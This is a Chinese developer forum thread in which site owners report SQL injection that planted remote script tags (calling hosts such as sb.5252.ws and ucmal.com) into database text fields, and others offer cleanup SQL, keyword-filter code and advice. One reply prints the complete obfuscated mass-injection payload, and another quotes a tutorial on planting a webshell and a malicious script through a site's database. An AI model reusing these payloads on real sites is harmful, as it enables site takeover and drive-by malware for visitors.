我的网站被黑了,网站内尽是:“</title></pre>><script src=http://sb.5252.ws:88/107/1.js></script><”,网页内容都没了,请教怎么处理,谢谢!

解决方案 »

  1.   

    SQL数据库一个表的title字段被加了代码 见  图  我要怎么才能批量的删除掉这个代码,而不影响title呢
      

  2.   

    数据库被注入攻击   所有文本型字下段数据都被加了     <script_src=http://ucmal.com/0.js> </script> 
    怎么删掉?
    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
      

  3.   

       仅仅这样处理是远远不够的,主要市你要修改程序,防止SQL注入.
      

  4.   

    你这问题前两天老乌龟回答过,
    http://topic.csdn.net/u/20080504/20/763ed034-317a-4695-a476-26317b905012.html
      

  5.   

    不知道楼主的网站是什么的?asp、php还是.net的程序?如果是.net的程序 我可以提供一个防止sql注入的语句(过滤敏感语句的仅供参考)方式如下:在Global.asax文件下面加入如下代码:
     void Application_BeginRequest(Object sender, EventArgs e)
        {
            StartProcessRequest();    }    #region SQL注入式攻击代码分析
        /// <summary>
        /// 处理用户提交的请求
        /// </summary>
        private void StartProcessRequest()
        {
            try
            {
                string getkeys = "";
                string sqlErrorPage = "../default.aspx";//转向的错误提示页面
                if (System.Web.HttpContext.Current.Request.QueryString != null)
                {                for (int i = 0; i < System.Web.HttpContext.Current.Request.QueryString.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.QueryString.Keys[i];
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.QueryString[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
                if (System.Web.HttpContext.Current.Request.Form != null)
                {
                    for (int i = 0; i < System.Web.HttpContext.Current.Request.Form.Count; i++)
                    {
                        getkeys = System.Web.HttpContext.Current.Request.Form.Keys[i];
                        if (getkeys == "__VIEWSTATE") continue;
                        if (!ProcessSqlStr(System.Web.HttpContext.Current.Request.Form[getkeys]))
                        {
                            System.Web.HttpContext.Current.Response.Redirect(sqlErrorPage);
                            System.Web.HttpContext.Current.Response.End();
                        }
                    }
                }
            }
            catch
            {
                // 错误处理: 处理用户提交信息!
            }
        }
        /// <summary>
        /// 分析用户请求是否正常
        /// </summary>
        /// <param name="Str">传入用户提交数据</param>
        /// <returns>返回是否含有SQL注入式攻击代码</returns>
        private bool ProcessSqlStr(string Str)
        {
            bool ReturnValue = true;
            try
            {
                if (Str.Trim() != "")
                {
                    string SqlStr = "and|exec|insert|select|delete|update|count|*|chr|mid|master|truncate|char|declare";                string[] anySqlStr = SqlStr.Split('|');
                    foreach (string ss in anySqlStr)
                    {
                        if (Str.ToLower().IndexOf(ss) >= 0)
                        {
                            ReturnValue = false;
                            break;
                        }
                    }
                }
            }
            catch
            {
                ReturnValue = false;
            }
            return ReturnValue;
        }
        #endregion
      

  6.   

    我数据库中是这样的代码
    </title></pre>><script src=htt</title></pre>><scriptsrc=http://sb.5252.ws:88/107/1.js></script><
    和你差不多现在还没解决办法,只能恢复以前的备份
      

  7.   

    明显的SQL注入,LZ的网页安全做得不太好啊
      

  8.   

    怎么辦?怎么辦?怎么辦?怎么辦?怎么辦?怎么辦?怎么辦?怎么辦?怎么辦?怎么辦?发表于:2008-05-07 16:30:2012楼 得分:0 
    我数据库中是这样的代码 
    </title> </pre>> <script src=htt </title> </pre>> <scriptsrc=http://sb.5252.ws:88/107/1.js> </script> < 
    和你差不多 现在还没解决办法,只能恢复以前的备份 
    ——————————————————————————————
    很明显,你已经被强奸两次了。
      

  9.   

    是,今天已经是第三次了,我每个页面都防止过滤sql注入的代码了
    不管用,我把上传的程序也要终止吗?
      

  10.   

    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''<script_src=http://ucmal.com/0.js> </script>'','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'
    在网上看看应该有脚本的 你下个防止注入的脚本哈哈加到你网站上
      

  11.   

    光光删除是不够的,我发现他已经将原有的资料也覆盖掉了。
    我是最惨的,备份文件同样有问题,只能找两个月以前的备份恢复之前的内容,
    后面的几乎是手动在调整。另外,我这个系统用了很多年了,有几千个JSP页面,要修改程序几乎不可能。
    碰到这回事真是死的心都有!!
      

  12.   

    在网上看看应该有脚本的 你下个防止注入的脚本哈哈加到你网站上这个都是过了不齐作用,我估计是我们用的盗版sql2000闹的
      

  13.   

    难道真的没人能解决么?
    我在网上找了一下,发现这个症状与前段时间遇到的chirenrou、chishuiniu病毒又很多相似的地方。
    还看到这条信息
    http://www.digitcare.com.cn/articles.asp?id=21
    这位同志说能解决这个问题,于是朋友说可能就是这个人制造的这个病毒。各位怎么看?
      

  14.   

     
    http://www.520hack.com/donghua/donghua1/200701/4156.html大家还是看看这个吧。应该是数据库挂马的问题。我也中彩了。
    好久没给大家做教程了,前阵子在火狐发了个思路,数据库挂马,超绝,删都删不掉,后来我测试成功了一直没时间做成教程,因为我中间去广东旅游啦,嘿进入正题,我是在本地测试的,因为我之前拿下一个站,在挂马,但是管理员老是把我的代码删了,而且改了后台又改了数据库名,到最后我连修改index.asp,conn.asp的权限都没有了,所以就有了这个教程。今天我也就拿我拿到的那个站做演示吧。。错了,不是这个,晕,乱七八糟的,我得找找。。找到了,我记得这目录,万网的虚拟主机,这万网的虚拟主机说来也怪,旁注的话好多DB权限,可以列目录,要么是WEB数据分离,要么就是禁止MDB下载,这一个都是靠运气拿下的看操作吧,嘿,是一样吧。。我入侵之后第一件事就是下载整站源玛哈。数据库是ASP后缀的,正因为这样我才入侵了,也正是有了挂马的思路,先给大家做个一句话的演示吧。。我现在提交一句话,返回的信息应该是乱码,是乱码吧,,我现在插入一句话看看,这个后台根本就没有可以上传的地方,但却是数据库是ASP的所以一句话就把他给搞定了,这里也给那些傻鸟一个思路,在没有上传的前提下拿WEBSHELL的思路。我在添加管理员帐号,而帐号密码全部都写一句话,现在再用一句话连接,嘿,进来了吧,有了小马了。。这样一来的话管理员肯定会知道我们怎么入侵的,我们把一句话删除再看看,哈哈,想到了没有。。就算把一句话删除了也没用,照样连接,因为一句话已经写入数据库里了,是没法删除的,至少我都不知道怎么删除,接下来就挂马吧,我系统打了MS065014的补丁,我就用另外一个网马掩饰吧,做网马我就不多说了,我用这个做演示,网马测试成功,我们再做JS文件,因为添加帐号密码的时候是有字符限制的,太长了就不会有效果而且也添加不进去,我这是节省字符全部是1,
    <script src="http://127.0.0.1/1.js"></script>这是调用JS的代码,正好可以加进去,好了,我们再来打开网页。中马了吧,然后我们再把JS代码删除。再打开网页,再打开一下,仔细看左下角哦,看最上面,首页调用了数据库中的JS代码吧,index.asp文件里没有JS代码哦,不要说我弄假哈。最后简单说一下原理吧,index为首页文件,打开之后要调用conn.asp或md5.asp等数据文件,转来转去之后肯定要转像数据库啦,既然转向了数据库就调用了我们的网马,原理和用户密码验证一样的吧,这只是我的说法。而且我也只拿了这个整站的源码来做测试,其他的我就不清楚了,好了,废话这么多,该闪人了。新年到,祝大家肉鸡多多,再见。
      

  15.   

    把' ¦ ¦and ¦( ¦) ¦exec ¦insert ¦select ¦delete ¦update ¦count ¦* ¦% ¦chr ¦mid ¦master ¦truncate ¦char ¦declare这些字符过滤掉,再有注意大小写就OK了,我的网站是通过如下代码注入的  
    dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F2536312532452536422536312533342533372532452537352537332F312E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;--  
      

  16.   

    发现最近sql 注入比较多,拿出来共享下,时长2小时。一次上传不了,分三次上传。免费共享。      
    《sql server 数据库的备份与恢复》   
    微软特约资深讲师 毛颉   
    http://topic.csdn.net/u/20080509/11/70ac59bd-d219-45c7-85ec-9d355398642c.html
      

  17.   

     public static void GetSafeRequest1(Page page,ref string str, bool isInt)
            {
                if (isInt)
                {
                    try
                    {
                        System.Convert.ToInt32(str);
                       
                    }
                    catch
                    {
                        page.RegisterClientScriptBlock(" ", "<script language=javascript>alert('非法参数!');window.location.href='index.aspx'</script>");                    str = null;
                    }
                }
                else
                {
                    if (str.IndexOfAny(("'(").ToCharArray()) != -1)
                    {
                        str = null;
                    }
                }
            }
      

  18.   

    现在我的解决方法是:我改了我的程序,把接收传递参数的地方都加了限制,这样也是防止url攻击的一种方式,以前我的也是总是受到攻击,归根到底都是自己的程序编码不严谨,所以我的建议是看看自己的编码是不是有问题;最好web开发人员先看看注入式攻击的方式,然后看看自己的程序是不是存在,然后是服务器补丁和数据库补丁都要打好。这是我的一点亲身感受。“在Global.asax文件下面加入如下代码”,我也加了,但是经过我自己的测试,还是能够注入是攻击,我的程序是c#的。 
    我设置了一个函数: 这样只能够防止url攻击,如果用户有提交的内容,在提交的时候一定要限制好 哦 public static void GetSafeRequest(Page page,ref string str, bool isInt) 
            { 
                if (isInt) 
                { 
                    try 
                    { 
                        System.Convert.ToInt32(str); 
                        
                    } 
                    catch 
                    { 
                        page.RegisterClientScriptBlock(" ", " <script language=javascript>alert('非法参数!');window.location.href='index.aspx' </script>");                     str = null; 
                    } 
                } 
                else 
                { 
                    if (str.IndexOfAny(("'(").ToCharArray()) != -1) 
                    { 
                        str = null; 
                    } 
                } 
            }
      

  19.   

    http://blog.mdcsoft.cn/archives/200805/46.html 
    mdcsoft服务器网络安全解决方案 
    最近几周,很多站被SQL注入攻击频繁,很多服务器被入侵,网站被攻击,为解决以上问题,我们开发了 
    以下系列软件及制定了系列解决方案.追究原因,全部都是认为引起的,由于缺乏安全意识,程序存在漏 
    洞,服务器安全-权限设置不正确等因素.... 
    在您遇到紧急事件时候可以联系我们mdcsodft网络安全实验室 [email protected] 13630284019 
    最短时间为您制定最有效的网络安全应急预案及解决方案.确保数据安全! 
    1.mdcsoft-ips (插件) 
    主要功能:阻止并记录SQL注入、XSS、跨目录等攻击,让随处可能潜伏的网站漏洞降至最低。 
    1. SQL注入:经测试可以阻止几乎所有的SQL注入问题,包括编码和特殊情况。 
    2. XSS:修正了微软的几个缺陷,但由于过于严格,可能影响正常功能。 
    3. 其它:出于安全原因,不便吐露。 
    说明:弥补国内asp.net SQL注入通用防注入的空白,应广大管理员的要求,此软件发布。在次期间好多 搞安全的朋友提出了不少建议,谢谢大家的热情支持。 注意:因为再.NET平台下开发所以运行需要安装Microsoft .NET Framework 2.0 SP2简体版 下载地址: http://dl.pconline.com.cn/html_2/1/82/id=10637&pn=0.html 一个20M的东西。如果你用的是最新的 WINDOWS 2003 SP2,系统自带有此平台,无须安装任何东西。 
    安装该插件前后进行效果对比, 2.安全加固 (针对有独立服务器用户) 
    我们为您提供安全加固解决方案 3.入侵检测,漏洞扫描,漏洞扫描修复 (针对虚拟主机用户) 
      

  20.   

    鄙视 billgates130 那个垃圾!~其实我们这批弄网站那伙人中就有他 你们看看这两个马甲到处发这样让人恶心的互拍型广告,谁出钱买他们的软件就等着做别人的高级肉鸡吧.到处用这样无耻的形式打广告,为那些被你们蒙骗的人感到悲哀!~~ 你们制造了这起事件我想班房的日子也离你们不远了!~
      

  21.   

    billgates130 那个带墨镜的!~ 看过你的博客了一个正规的工作组还在混博客 真可悲!~~
      

  22.   

    被SQL注入,好好查查程序漏洞吧。
      

  23.   

    我的数据库也被修改成这样的"></title><script src="http://www2.s800qn.cn/csrss/w.js"></script><!--
    不知道咋解决,解决完后过不多久又有了,哪位帮忙解决下,谢谢
      

  24.   

    去掉 sysobjects 和 syscolumns 两个表的select 权限
      

  25.   

    这个问题我也有遇到过一次,关键是留下了注入的漏洞,因为现在的注入都喜欢使用加密的代码,所以比较难防,你最好在你的接收参数里面限制 select,exec,@等字符,它就无法得逞,过滤其它的都不好使。
    典型的注入代码:
    select @a='被加密的代码';exec(@a),所有的操作都被放在变量a里面了,所以它只要极少数的两个关键字就可以完成极复杂的工作
    解决的办法是在你的接收参数被加入到sql语句之前,通通过滤一下敏感关键字,将select,exec等都换成全角的字符,这样计算机不认识,但不会影响人的阅读。